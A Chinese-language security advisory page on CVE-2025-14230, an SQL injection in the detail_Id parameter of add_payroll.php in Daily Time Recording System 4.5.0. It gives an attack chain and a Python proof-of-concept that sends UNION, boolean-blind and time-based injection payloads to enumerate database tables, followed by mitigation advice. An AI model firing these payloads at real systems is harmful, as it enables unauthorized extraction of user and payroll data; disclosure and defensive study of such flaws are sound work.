IPBUF安全漏洞报告
English
CVE-2025-14230 CVSS 6.3 中危

CVE-2025-14230 Daily Time Recording System SQL注入漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-14230
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Daily Time Recording System 4.5.0

相关标签

SQL注入CVE-2025-14230Daily Time Recording Systemcode-projectsWeb应用安全数据库安全管理后台漏洞PHP漏洞

漏洞概述

CVE-2025-14230是code-projects公司开发的Daily Time Recording System 4.5.0版本中存在的一个SQL注入漏洞。该漏洞位于管理后台的add_payroll.php文件中,攻击者可以通过操纵detail_Id参数实现SQL注入攻击。由于该漏洞具有低权限要求和无需用户交互的特点,远程攻击者可以在获取低权限账户后利用此漏洞获取数据库中的敏感信息,包括用户数据、薪资信息等。该漏洞的CVSS评分为6.3,属于中危级别,对系统的机密性、完整性和可用性均产生较低程度的影响。目前该漏洞的利用代码已公开,强烈建议管理员尽快采取防护措施。

技术细节

该漏洞属于经典的SQL注入漏洞,存在于/admin/add_payroll.php文件的未知函数处理逻辑中。漏洞产生的根本原因是应用程序在处理用户输入的detail_Id参数时,未对其进行充分的输入验证和SQL语句参数化处理。攻击者可以通过在detail_Id参数中注入恶意构造的SQL语句片段,实现以下攻击效果:1) 通过UNION SELECT语句获取数据库中的敏感数据;2) 通过布尔型盲注逐字符提取数据库信息;3) 通过时间盲注在无回显情况下获取数据。由于该参数直接拼接到SQL查询语句中,攻击者可以绕过认证机制或获取未授权的数据访问权限。在CVSS 3.1评分体系中,该漏洞的攻击向量为网络层面,攻击复杂度低,需要低权限认证,但无需用户交互即可完成攻击。

攻击链分析

STEP 1
步骤1
攻击者发现目标站点运行Daily Time Recording System 4.5.0,并识别出/admin/add_payroll.php管理页面
STEP 2
步骤2
攻击者获取系统的低权限账户(如普通管理员账号),或通过其他途径获取有效的认证凭据
STEP 3
步骤3
攻击者访问/admin/add_payroll.php页面,通过Burp Suite等工具拦截请求,定位detail_Id参数
STEP 4
步骤4
攻击者构造恶意SQL注入载荷(如UNION SELECT或布尔盲注语句),替换detail_Id参数的原始值
STEP 5
步骤5
服务器将恶意载荷拼接到SQL查询语句中执行,攻击者获取数据库中的敏感信息(如用户密码、薪资数据等)
STEP 6
步骤6
攻击者利用获取的数据进一步横向移动或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14230 SQL Injection PoC # Target: code-projects Daily Time Recording System 4.5.0 # File: /admin/add_payroll.php # Parameter: detail_Id import requests import sys target_url = "http://target-site.com/admin/add_payroll.php" # SQL Injection payloads payloads = [ # Basic injection - error-based "1' OR '1'='1", # Union-based injection "1' UNION SELECT NULL-- -", "1' UNION SELECT NULL,NULL,NULL-- -", # Boolean-based blind injection "1' AND 1=1-- -", "1' AND 1=2-- -", # Time-based blind injection "1' AND SLEEP(5)-- -", # Extract database version "1' UNION SELECT NULL,@@version,NULL-- -", # Extract current database "1' UNION SELECT NULL,database(),NULL-- -", # Extract users table "1' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- -", ] def test_injection(payload): params = { 'detail_Id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): print("[*] CVE-2025-14230 SQL Injection Testing") print(f"[*] Target: {target_url}") for payload in payloads: print(f"\n[+] Testing payload: {payload}") result = test_injection(payload) if result and ('sql' in result.lower() or 'error' in result.lower() or len(result) > 0): print(f"[+] Potential vulnerability detected with payload: {payload}") print(f"[+] Response length: {len(result)}") if __name__ == "__main__": main()

影响范围

code-projects Daily Time Recording System 4.5.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1) 在Web应用层部署输入过滤机制,对detail_Id参数进行严格验证;2) 使用ModSecurity等WAF规则阻止可疑的SQL注入特征;3) 限制管理后台的访问来源,仅允许可信IP访问/admin路径;4) 加强对管理账户的监控,及时发现异常访问行为;5) 定期备份数据库并检查是否存在未授权的数据访问痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表